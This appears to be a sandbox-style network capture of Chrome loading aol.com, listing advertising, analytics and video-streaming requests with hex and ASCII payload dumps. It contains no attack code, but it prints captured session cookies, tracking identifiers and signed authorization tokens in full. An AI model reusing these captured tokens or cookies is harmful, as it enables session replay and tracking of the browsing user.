Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:02 UTC	337	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 37 37 35 31 26 61 6d 70 3b 6e 69 64 3d 32 32 34 39 26 61 6d 70 3b 65 78 70 69 72 65 73 3d 33 30 26 61 6d 70 3b 67 64 70 72 3d 30 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://pixel.rubiconproject.com/tap.php?v=7751&nid=2249&expires=30&gdpr=0&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.6	50139	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	780	OUT	GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC="19cw~2ila:19e0~2ila"
2024-05-23 22:35:02 UTC	787	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:02 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://www.aol.com Access-Control-Allow-Credentials: true Set-Cookie: IDSYNC="19cw~2ila:19e0~2ila:19e7~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:02 GMT;Secure;SameSite=None Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:02 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:02 UTC	54	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 51 31 61 6e 6c 4a 70 45 32 75 4c 4e 58 76 6f 67 39 63 58 76 48 6e 65 32 36 6d 78 39 4c 6a 32 64 7e 41 22 7d 0d 0a Data Ascii: 30{"axid": "y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A"}
2024-05-23 22:35:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.6	50154	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	1389	OUT	GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfMzNhYWI2NTQ0M2EyZjQ2MzY3N2FiYTM2N2MzNzY0NGNmNjFhOWZkMjZjYjM3OTczYTVjODYzZDVmMWE2NDkzMg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:02 UTC	633	IN	HTTP/1.1 200 OK Connection: close Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Date: Thu, 23 May 2024 22:35:02 GMT Via: 1.1 varnish Age: 6 X-Served-By: cache-nyc-kteb1890030-NYC X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1716503702.442834,VS0,VE1 X-Device-Group: desktop-chrome transfer-encoding: chunked
2024-05-23 22:35:02 UTC	5	IN	Data Raw: 31 34 34 0d 0a Data Ascii: 144
2024-05-23 22:35:02 UTC	324	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 4b 45 59 3a 4d 45 54 48 4f 44 3d 41 45 53 2d 31 32 38 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6c 69 63 65 6e 73 65 2f 76 31 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 44 46 6a 59 7a 52 66 4d 7a 51 34 4e 57 56 6d 4f 44 51 77 4d 44 49 79 59 6a 56 6d 4d 47 5a 6b 4d 6d 55 79 4d 47 49 7a 5a 57 Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjYzRfMzQ4NWVmODQwMDIyYjVmMGZkMmUyMGIzZW
2024-05-23 22:35:02 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:02 UTC	5	IN	Data Raw: 32 32 62 0d 0a Data Ascii: 22b
2024-05-23 22:35:02 UTC	555	IN	Data Raw: 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 59 32 4e 54 67 78 4e 54 41 77 4d 53 49 73 49 6e 42 72 61 57 51 69 4f 69 49 35 4d 6a 45 34 4e 44 4d 79 4d 43 30 34 5a 6d 59 7a 4c 54 51 31 5a 54 6b 74 59 6a 59 77 4d 43 30 35 4f 54 42 6d 4f 44 49 79 59 7a 67 32 4e 6a 63 69 4c 43 4a 6c 65 48 41 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 35 4f 54 51 73 49 6d 6c 68 64 43 49 36 4d 54 63 78 4e 6a 55 77 4d 7a 59 35 4e 48 30 2e 75 48 6f 57 44 53 76 67 72 46 69 49 52 33 53 56 4c 75 42 36 45 6d 47 34 73 72 6b 5f 52 73 37 70 45 56 74 4e 55 32 70 4e 6e 4c Data Ascii: eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnL
2024-05-23 22:35:02 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:02 UTC	6	IN	Data Raw: 31 36 37 65 0d 0a Data Ascii: 167e
2024-05-23 22:35:02 UTC	1371	IN	Data Raw: 22 2c 49 56 3d 30 78 36 36 37 61 39 37 39 61 32 65 64 38 30 32 65 61 63 30 37 61 64 31 61 35 31 35 32 61 35 32 35 65 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 36 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 38 61 61 62 33 34 35 2d 61 37 61 30 2d 34 Data Ascii: ",IV=0x667a979a2ed802eac07ad1a5152a525e#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:6#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4
2024-05-23 22:35:02 UTC	1371	IN	Data Raw: 31 65 2f 30 38 61 61 62 33 34 35 2d 61 37 61 30 2d 34 37 35 31 2d 39 37 62 33 2d 35 63 30 39 38 34 66 37 34 38 34 30 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 61 34 66 66 36 65 39 31 61 33 32 37 64 63 62 30 32 32 65 31 32 33 31 33 37 36 30 62 39 63 64 65 37 37 64 30 61 38 36 32 66 38 61 62 36 33 61 61 30 36 30 64 64 31 32 38 37 38 65 38 66 64 62 63 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 Data Ascii: 1e/08aab345-a7a0-4751-97b3-5c0984f74840/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=a4ff6e91a327dcb022e12313760b9cde77d0a862f8ab63aa060dd12878e8fdbc#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40
2024-05-23 22:35:02 UTC	1371	IN	Data Raw: 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 38 61 61 62 33 34 35 2d 61 37 61 30 2d 34 37 35 31 2d 39 37 62 33 2d 35 63 30 39 38 34 66 37 34 38 34 30 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 61 34 66 66 36 65 39 31 61 33 32 37 64 63 62 30 32 32 65 31 32 33 31 33 37 36 30 62 39 63 64 65 37 37 64 30 61 38 36 32 66 38 61 62 36 33 61 61 30 36 30 64 64 31 32 38 37 38 65 38 66 64 62 63 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 Data Ascii: 1/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=a4ff6e91a327dcb022e12313760b9cde77d0a862f8ab63aa060dd12878e8fdbc#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.6	50153	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	2287	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&time=1716503699269&event=video_impression&video=6353510307112&video_name=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&reference_id=42b897a6-9771-3329-b351-69a701a77438&custom_fields=&video_data=&video_ads_supported=true&&video_duration=68&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5 [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:02 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:02 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.6	50138	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	689	OUT	GET /usersync?b=zem&i=Ldu6nP-f8GRn9WiN8PL4&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:02 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:02 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.6	50156	54.165.165.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	1319	OUT	GET /sync?nid=114&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
2024-05-23 22:35:02 UTC	120	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Thu, 23 May 2024 22:35:02 GMT Content-Length: 43 Connection: Close
2024-05-23 22:35:02 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.6	50163	151.101.1.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	677	OUT	GET /libtrc/impl.20240523-16-RELEASE.js HTTP/1.1 Host: cdn.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: abLdr=21; t_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; t_pt_gid=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:02 UTC	776	IN	HTTP/1.1 200 OK Connection: close Content-Length: 917195 x-amz-id-2: W+8hTYDVSu0BAkzejmzQJunzpITxFuvTple7K7+PDZvrGKnqb6dWtBcqPmDIeUU6LHQ1HPQbKF8= x-amz-request-id: MEAFMX3KPGSN8D5R x-amz-replication-status: COMPLETED Last-Modified: Thu, 23 May 2024 13:38:34 GMT ETag: "9e546bd79cc1c06d1541dd66e962c90b" x-amz-server-side-encryption: AES256 x-amz-version-id: 0ayWfMvxaBtpYTD8ZNXbIqPYBj7yHu3S Content-Type: application/javascript; charset=utf-8 Server: AmazonS3 Accept-Ranges: bytes Age: 23592 Date: Thu, 23 May 2024 22:35:02 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890031-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716503703.538530,VS0,VE1 Cache-Control: private,max-age=31536000 Vary: Accept-Encoding abp: 86 Access-Control-Allow-Origin: *
2024-05-23 22:35:02 UTC	1378	IN	Data Raw: 2f 2a 21 20 32 30 32 34 30 35 32 33 2d 31 36 2d 52 45 4c 45 41 53 45 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 54 52 43 3d 65 2e 54 52 43 7c 7c 7b 7d 2c 65 2e 54 52 43 2e 73 68 61 72 65 64 4f 62 6a 65 63 74 73 3d 65 2e 54 52 43 2e 73 68 61 72 65 64 4f 62 6a 65 63 74 73 7c 7c 7b 7d 2c 65 2e 54 52 43 2e 73 68 61 72 65 64 4f 62 6a 65 63 74 73 2e 6c 6f 61 64 65 64 53 63 72 69 70 74 73 3d 65 2e 54 52 43 2e 73 68 61 72 65 64 4f 62 6a 65 63 74 73 2e 6c 6f 61 64 65 64 53 63 72 69 70 74 73 7c 7c 7b 7d 2c 65 2e 54 52 43 2e 73 68 61 72 65 64 4f 62 6a 65 63 74 73 2e 6c 6f 61 64 65 64 50 69 78 65 6c 73 3d 65 2e 54 52 43 2e 73 68 61 72 65 64 4f 62 6a 65 63 74 73 2e 6c 6f 61 64 65 64 50 69 78 65 6c 73 7c 7c 7b 7d 7d 28 77 69 6e 64 6f 77 29 2c 66 75 6e Data Ascii: /! 20240523-16-RELEASE /!function(e){e.TRC=e.TRC\|\|{},e.TRC.sharedObjects=e.TRC.sharedObjects\|\|{},e.TRC.sharedObjects.loadedScripts=e.TRC.sharedObjects.loadedScripts\|\|{},e.TRC.sharedObjects.loadedPixels=e.TRC.sharedObjects.loadedPixels\|\|{}}(window),fun
2024-05-23 22:35:02 UTC	1378	IN	Data Raw: 2e 73 74 6f 70 45 76 65 6e 74 28 69 29 2c 63 7c 7c 68 28 29 3b 63 6f 6e 73 74 20 6e 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 62 6c 45 6e 61 62 6c 65 73 53 63 72 6f 6c 6c 69 6e 67 22 29 3b 73 2e 69 6e 6e 65 72 48 54 4d 4c 3d 66 28 6f 2e 68 72 65 66 2c 6e 29 2c 72 2e 64 6f 6d 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 6c 2c 22 74 72 63 5f 6d 6f 64 61 6c 5f 68 69 64 64 65 6e 22 29 2c 72 2e 64 6f 6d 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 73 2c 22 74 72 63 5f 6d 6f 64 61 6c 5f 68 69 64 64 65 6e 22 29 2c 72 2e 64 6f 6d 2e 6f 6e 28 74 2c 22 6b 65 79 75 70 22 2c 6d 29 2c 72 2e 64 6f 6d 2e 6f 6e 28 74 2c 22 63 6c 69 63 6b 22 2c 67 29 2c 72 2e 64 6f 6d 2e 6f 6e 28 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 74 72 63 5f 63 6c 6f 73 65 5f 6d 6f 64 Data Ascii: .stopEvent(i),c\|\|h();const n=o.getAttribute("tblEnablesScrolling");s.innerHTML=f(o.href,n),r.dom.removeClass(l,"trc_modal_hidden"),r.dom.removeClass(s,"trc_modal_hidden"),r.dom.on(t,"keyup",m),r.dom.on(t,"click",g),r.dom.on(t.getElementById("trc_close_mod
2024-05-23 22:35:02 UTC	1378	IN	Data Raw: 73 65 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 77 69 64 74 68 3a 20 33 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 68 65 69 67 68 74 3a 20 33 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 23 30 30 30 3b 20 6f 70 61 63 69 74 79 3a 20 30 2e 39 3b 20 66 69 6c 74 65 72 3a 20 61 6c 70 68 Data Ascii: se { font-family: sans-serif !important; width: 30px !important; height: 30px !important; font-size: 30px !important; font-weight: bold !important; line-height: 28px !important; color: #fff !important; text-shadow: 0 1px 0 #000; opacity: 0.9; filter: alph
